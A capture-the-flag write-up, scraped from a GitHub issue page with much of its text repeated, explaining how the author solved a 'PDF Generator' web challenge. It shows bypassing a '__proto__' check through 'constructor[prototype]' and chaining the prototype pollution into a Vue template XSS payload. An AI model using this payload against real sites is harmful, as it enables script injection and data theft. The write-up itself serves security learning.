You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
If the request is from 127.0.0.1, we can get the pdf file which has the flag. Combined this with the fact that there is a page to report the url, I guess we need to do something like:
figure out how to XSS via query string
use the XSS vulnerability above, fetch '/text' and get the content
from the content we know the uuid for the flag pdf
read this pdf file
win!
It's hard to find the vulnerability because it looks quite simple:
<!Doctype html><head><title>title</title><scriptsrc="/static/bundle.js"></script></head><divid="app"><h3>{{title}}</h3></div><pid="name"></p><formaction="/text" method="get" ><inputid="text" type="input" name="text"/><br><inputtype="submit"/></form><script>varparams=parseQuery(location.search.slice(1));varapp=newVue({el: '#app',data: {title: 'Text to PDF Convertor'}});if(params.name&¶ms.text){document.getElementById("name").innerText="Hi, "+params.name;document.getElementById("text").value=params.text;}</script>
By checking bundle.js we can find the version of Vue and a suspicious snippet of code.
/*utils */vardigitTest=/^\d+$/,keyBreaker=/([^\[\]]+)|(\[\])/g,paramTest=/([^?#]*)(#.*)?$/,entityRegex=/%([^0-9a-f][0-9a-f]|[0-9a-f][^0-9a-f]|[^0-9a-f][^0-9a-f])/i,startChars={"#": true,"?": true},prep=function(str){if(startChars[str.charAt(0)]===true){str=str.substr(1);}str=str.replace(/\+/g,' ');try{returndecodeURIComponent(str);}catch(e){returndecodeURIComponent(str.replace(entityRegex,function(match,hex){return'%25'+hex;}));}};functionisArrayLikeName(name){returndigitTest.test(name)||name==='[]';}functionidenity(value){returnvalue;}functionparseQuery(params,valueDeserializer){valueDeserializer=valueDeserializer||idenity;vardata={},pairs,lastPart;if(params&¶mTest.test(params)){pairs=params.split('&');pairs.forEach(function(pair){varparts=pair.split('='),key=prep(parts.shift()),value=prep(parts.join('=')),current=data;if(key){parts=key.match(keyBreaker);for(varj=0,l=parts.length-1;j<l;j++){varcurrentName=parts[j],nextName=parts[j+1],currentIsArray=isArrayLikeName(currentName)&¤tinstanceofArray;if(!current[currentName]){if(currentIsArray){current.push(isArrayLikeName(nextName) ? [] : {});}else{current[currentName]=isArrayLikeName(nextName) ? [] : {};}}if(currentIsArray){current=current[current.length-1];}else{current=current[currentName];}}lastPart=parts.pop();if(isArrayLikeName(lastPart)){current.push(valueDeserializer(value));}else{if(currentName!=="__proto__")current[lastPart]=valueDeserializer(value);}}});}returndata;};/*! * Vue.js v2.6.10 * (c) 2014-2019 Evan You * Released under the MIT License. */
Trying to find known vulnerabilities in Vue doesn't work, so I get back to the suspicious parseQuery function.
Only one line catch my eyes: if(currentName !== "__proto__"). It's a classic way to prevent prototype pollution, a classic wrong way. We can use ['constructor']['prototype'] to bypass it.
Because of this clue, I guess it might be prototype pollution lead to XSS.
Although I am a front-end engineer, I only familiar with React and have almost no knowledge about Vue, maybe it's a good opportunity to pick it up?
The first rule is, never use non-trusted templates like this:
newVue({el: '#app',template: `<div>`+userProvidedString+`</div>`// NEVER DO THIS})
It gave me an idea so I tried this as POC:
varapp=newVue({el: '#app',template: '<img src=x onerror="alert(1)">',data: {title: 'Text to PDF Convertor'}});
As I expected, our sweet old friend alert popup has shown. Then I tried if prototype pollution works:
vara={}a['__proto__']['template']='<img src=x onerror="alert(1)">'varapp=newVue({el: '#app',data: {title: 'Text to PDF Convertor'}});
Lucky! It works like a charm. My guess is correct, we can chain prototype pollution and Vue template to do XSS.
So now the problem is, how to do prototype pollution? I am too lazy to read the source code of parseQuery carefully, so I just copied the function and tried this on my local:
varpayload='a[constructor][prototype][template]='+encodeURIComponent('<img src=x onerror="alert(1)">')varparams=parseQuery(payload);varapp=newVue({el: '#app',data: {title: 'Text to PDF Convertor'}});
Fortunately, it works again.
It's almost there, just fetch /text and pass the content to my own server:
After report the url above and received the result, we can get the uuid for the flag pdf file. Now go to the browser and replace the embed src with correct uuid:
PDF Generator
Description
I've created a pdf generator check it out
source code:
Writeup
It's a simple service that we pass text to
/text
and it will returns a page with embed pdf file with the text you gave.Let's check where is the flag first, it's inside
/text
route:If the request is from
127.0.0.1
, we can get the pdf file which has the flag. Combined this with the fact that there is a page to report the url, I guess we need to do something like:It's hard to find the vulnerability because it looks quite simple:
By checking
bundle.js
we can find the version of Vue and a suspicious snippet of code.If I don't know how to start, I always check if there is any vulnerabilities in the package. So I checked Vue first: https://github.com/vuejs/vue/releases
There is a security fix for
serialize-javascript
so I follow this clue and see if I can find any working POC and details.After 30 minutes of searching, the answer is no, I can't find useful any resources. Then I googled another keyword:
Vue XSS
, found this good resource: https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets but it seems nothing to do with this challenge.Trying to find known vulnerabilities in Vue doesn't work, so I get back to the suspicious
parseQuery
function.Only one line catch my eyes:
if(currentName !== "__proto__")
. It's a classic way to prevent prototype pollution, a classic wrong way. We can use['constructor']['prototype']
to bypass it.Because of this clue, I guess it might be prototype pollution lead to XSS.
Although I am a front-end engineer, I only familiar with React and have almost no knowledge about Vue, maybe it's a good opportunity to pick it up?
By googling
vue vulnerabilities
, we can find this official page: https://vuejs.org/v2/guide/security.htmlThe first rule is, never use non-trusted templates like this:
It gave me an idea so I tried this as POC:
As I expected, our sweet old friend alert popup has shown. Then I tried if prototype pollution works:
Lucky! It works like a charm. My guess is correct, we can chain prototype pollution and Vue template to do XSS.
So now the problem is, how to do prototype pollution? I am too lazy to read the source code of parseQuery carefully, so I just copied the function and tried this on my local:
Fortunately, it works again.
It's almost there, just fetch
/text
and pass the content to my own server:I used base64 encode because the content has many lines.
full url:
After report the url above and received the result, we can get the uuid for the flag pdf file. Now go to the browser and replace the embed src with correct uuid:
First blood!
But it turns out it's unintended 😂
See official writeup for more details: https://blog.s1r1us.ninja/CTF/zer0ptsctf2021-challenges
The text was updated successfully, but these errors were encountered: